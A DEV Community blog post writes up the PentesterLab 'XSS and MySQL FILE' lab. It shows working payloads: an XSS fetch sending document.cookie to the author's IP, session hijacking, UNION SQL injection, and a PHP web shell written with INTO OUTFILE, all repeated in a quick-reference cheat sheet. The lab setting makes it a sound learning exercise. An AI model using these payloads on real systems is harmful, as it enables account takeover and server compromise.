DEV Community

ekko1500
ekko1500

Posted on

From XSS to Shell: How I Broke Into a Server and Lived to Tell the Tale

By: Someone who almost gave up three times

Lab: PentesterLab — XSS and MySQL FILE

Difficulty: Medium

Status: Owned ✅


🎭 Prologue: The ISO That Mocked Me

I downloaded an ISO. Booted it. Saw a blog. Thought, "This'll be easy."

I was wrong.

But I learned more in 3 hours of failing than in 3 months of reading theory.

This is the story of how I went from copy-pasting XSS payloads to executing whoami on a remote server — and how you can too.


📍 Phase 1: The Cookie Heist (XSS)

The Setup

The lab had a script running every minute. A headless browser called PhantomJS visited every page on the site. That browser? Already logged in as admin.

My job: Trick that bot into sending me its cookie.

What I Tried First (and failed)

<script>alert(1)</script>
Enter fullscreen mode Exit fullscreen mode

Alert box popped for me. Cool. But the bot doesn't have eyeballs. I needed exfiltration.

The Breakthrough

<img src=x onerror="fetch('http://MY_IP:80/?'+document.cookie)">
Enter fullscreen mode Exit fullscreen mode

But nothing happened. Why? No listener.

The Fix

On my Kali VM (192.168.56.102):

sudo nc -lnvp 80
Enter fullscreen mode Exit fullscreen mode

Then injected payload pointing to Kali's IP.

Waited 60 seconds.

Then saw this in my terminal:

GET /?PHPSESSID=2oi9tm6nlu2ecev4nhvmhualj0
User-Agent: PhantomJS/1.9.1
Enter fullscreen mode Exit fullscreen mode

Boom. Admin cookie stolen.

🧠 Lesson Learned

  • The bot visits automatically every minute — be patient.
  • Always start your listener BEFORE injecting.
  • ERR_CONNECTION_REFUSED means your XSS worked but nothing was listening.

📍 Phase 2: Walking In The Back Door

I took that cookie (PHPSESSID=2oi9tm6nlu2ecev4nhvmhualj0) and added it to my browser's storage.

Refreshed the page. Clicked "admin."

I was in.

No login prompt. No password. Just pure session hijacking.

🧠 Lesson Learned

  • Session cookies are gold. Treat them like root passwords.
  • If you steal an admin's cookie, you ARE the admin.

📍 Phase 3: The SQL Injection That Fought Back

In the admin panel, I found edit.php?id=1.

Tested:

/admin/edit.php?id=1'
Enter fullscreen mode Exit fullscreen mode

Got a MySQL error. Injection confirmed.

The UNION Struggle

I tried:

id=1 union select 1,2,3,4
Enter fullscreen mode Exit fullscreen mode

Got:

Notice: Trying to get property of non-object in /var/www/admin/edit.php on line 19
Enter fullscreen mode Exit fullscreen mode

That error meant: the query changed but PHP expected a row.

Fix: Force the original query to return nothing:

id=1 and 1=2 union select 1,2,3,4
Enter fullscreen mode Exit fullscreen mode

The error disappeared. Numbers appeared on the page. UNION worked.

🧠 Lesson Learned

  • non-object errors are actually GOOD — they mean you influenced the query.
  • Use and 1=2 to empty the original result set.
  • Find which columns display on the page (2 and 3 usually).

📍 Phase 4: The FILE Privilege Gamble

I checked the current user:

id=1 and 1=2 union select 1,user(),3,4
Enter fullscreen mode Exit fullscreen mode

Output: root@localhost

Then checked FILE privilege:

id=1 and 1=2 union select 1,file_priv,3,4 FROM mysql.user WHERE user='root'
Enter fullscreen mode Exit fullscreen mode

Output: Y

Game on.

🧠 Lesson Learned

  • root@localhost in MySQL often has FILE privilege.
  • file_priv = Y means you can read/write files on the server.

📍 Phase 5: Finding Where To Write

I tried writing a test file:

id=1 and 1=2 union select 1,2,3,4 INTO OUTFILE '/var/www/css/test.txt'
Enter fullscreen mode Exit fullscreen mode

Got the non-object error again — but the file was still created.

Visited:

http://[VM_IP]/css/test.txt
Enter fullscreen mode Exit fullscreen mode

Saw 1 2 3 4 on the page.

Directory confirmed writable.

🧠 Lesson Learned

  • INTO OUTFILE causes PHP errors but still writes the file.
  • Always check if the file exists via browser.
  • /var/www/css/ was the magic path in this lab.

📍 Phase 6: Deploying The Web Shell

Final payload:

id=1 union select 1,2,'<?php system($_GET["cmd"]); ?>',4 INTO OUTFILE '/var/www/css/shell.php'
Enter fullscreen mode Exit fullscreen mode

URL-encoded:

id=1 union select 1,2,%3C%3Fphp%20system(%24_GET%5B%22cmd%22%5D)%3B%20%3F%3E,4 INTO OUTFILE '/var/www/css/shell.php'
Enter fullscreen mode Exit fullscreen mode

Then visited:

http://[VM_IP]/css/shell.php?cmd=whoami
Enter fullscreen mode Exit fullscreen mode

The page returned:

1 2 www-data 4
Enter fullscreen mode Exit fullscreen mode

Remote code execution achieved.

🧠 Lesson Learned

  • Web shells are simple: system($_GET["cmd"]) is enough.
  • URL-encode special characters in your SQL payloads.
  • Test with whoami or id first.

🏁 Epilogue: What I Learned

Phase Key Takeaway
XSS Always run your listener before injecting. The bot doesn't wait.
Session Hijacking Stolen cookies = instant admin access.
SQL Injection and 1=2 is your best friend for UNION attacks.
FILE Privilege root@localhost often means file write access.
Web Shell /var/www/css/ was writable — always check common web directories.

📝 Quick Reference Commands

XSS Payload (stored in comment)

<img src=x onerror="fetch('http://YOUR_IP:80/?'+document.cookie)">
Enter fullscreen mode Exit fullscreen mode

Listener

nc -lnvp 80
Enter fullscreen mode Exit fullscreen mode

Check current user

id=1 and 1=2 union select 1,user(),3,4
Enter fullscreen mode Exit fullscreen mode

Check FILE privilege

id=1 and 1=2 union select 1,file_priv,3,4 FROM mysql.user WHERE user='root'
Enter fullscreen mode Exit fullscreen mode

Write test file

id=1 and 1=2 union select 1,2,3,4 INTO OUTFILE '/var/www/css/test.txt'
Enter fullscreen mode Exit fullscreen mode

Write web shell

id=1 union select 1,2,'<?php system($_GET["cmd"]); ?>',4 INTO OUTFILE '/var/www/css/shell.php'
Enter fullscreen mode Exit fullscreen mode

Execute command

http://[VM_IP]/css/shell.php?cmd=whoami
Enter fullscreen mode Exit fullscreen mode

🎯 Final Thoughts

This lab taught me that hacking isn't about knowing all the answers.

It's about:

  • Reading error messages carefully
  • Being patient (the bot visits every minute, not every second)
  • Trying things even when I'm not sure
  • Not quitting when I get non-object errors for the 10th time

If you're stuck on this lab — keep going. The breakthrough is one payload away.


Now go break something else. 🔥


Top comments (0)